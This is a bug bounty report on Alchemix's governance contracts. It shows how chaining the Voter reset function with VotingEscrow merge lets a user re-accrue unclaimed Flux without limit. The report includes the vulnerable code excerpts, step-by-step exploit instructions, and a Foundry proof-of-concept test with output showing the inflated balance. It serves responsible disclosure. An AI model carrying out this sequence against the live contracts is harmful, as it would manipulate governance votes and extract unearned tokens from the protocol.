30825 - [SC - Critical] Users can get unlimited amounts of Flux tokens
Submitted on May 6th 2024 at 21:36:36 UTC by @imsrybr0 for Boost | Alchemix
Report ID: #30825
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol
Impacts:
Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
Description
Brief/Intro
Users can get unlimited amounts of Flux tokens.
Vulnerability Details
// ...
contract VotingEscrow is IERC721, IERC721Metadata, IVotes, IVotingEscrow {
// ...
function merge(uint256 _from, uint256 _to) external {
require(!voted[_from], "voting in progress for token");
// ...
IFluxToken(FLUX).mergeFlux(_from, _to);
// ...
}
// ...
}
// ...
contract FluxToken is ERC20("Flux", "FLUX"), IFluxToken {
// ...
function mergeFlux(uint256 _fromTokenId, uint256 _toTokenId) external {
require(msg.sender == veALCX, "not veALCX");
unclaimedFlux[_toTokenId] += unclaimedFlux[_fromTokenId];
unclaimedFlux[_fromTokenId] = 0;
}
// ...
}
// ...
contract Voter is IVoter {
// ...
function reset(uint256 _tokenId) public onlyNewEpoch(_tokenId) {
if (msg.sender != admin) {
require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
}
lastVoted[_tokenId] = block.timestamp;
_reset(_tokenId);
IVotingEscrow(veALCX).abstain(_tokenId);
IFluxToken(FLUX).accrueFlux(_tokenId);
}
// ...
}
The
VotingEscrow@merge
function only checks if the token being merged votedyes
. It also merges the unclaimed Flux earnings of the merge tokens.The
Voter@reset
function :Doesn't check if the given token id has any votes to reset before doing so.
Votes
no
on theVotingEscrow
Accrues Flux earning for the given token id
Under those conditions, a user can :
Start by locking an amount of tokens in
VotingEscrow
and getToken ID N
in returnCall
Voter@reset
forToken ID N
to accrue Flux earning for that token.Lock a dust amount of tokens in
VotingEscrow
and getToken ID M
in returnCall
VotingEscrow@merge
to mergeToken ID N
intoToken ID M
which will add the first token unclaimed Flux earning to the second one.
Steps 2), 3) and 4) can be repeated as needed carrying over unclaimed Flux earnings from the previous token to the next one and accruing them again.
Impact Details
Artificially boost voting power for gauges voting.
Claim Flux ERC20 tokens to :
Sell them
Use them to ragequit for free
References
https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L618-L651
https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L183-L192
https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol#L180-L185
Proof of Concept
function testMergeFlux() public {
uint256 previousTokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, true);
console2.log("Starting Unclaimed Flux", flux.unclaimedFlux(previousTokenId));
uint256 nextTokenId;
vm.startPrank(admin);
voter.reset(previousTokenId);
console2.log("Unclaimed Flux after reset", flux.unclaimedFlux(previousTokenId));
for (uint256 i; i < 10; i++) {
nextTokenId = createVeAlcx(admin, 1, MAXTIME, true);
veALCX.merge(previousTokenId, nextTokenId);
voter.reset(nextTokenId);
previousTokenId = nextTokenId;
}
console2.log("Unclaimed Flux after 10 iterations", flux.unclaimedFlux(nextTokenId));
flux.claimFlux(nextTokenId, flux.unclaimedFlux(nextTokenId));
console2.log("Flux ERC20 balance", flux.balanceOf(admin));
}
Results
[⠒] Compiling...
Ran 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] testMergeFlux() (gas: 9703837)
Logs:
Starting Unclaimed Flux 0
Unclaimed Flux after reset 984526667926843455
Unclaimed Flux after 10 iterations 10829793347195278005
Flux ERC20 balance 10829793347195278005
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 32.92s (24.57s CPU time)
Ran 1 test suite in 34.78s (32.92s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Last updated
Was this helpful?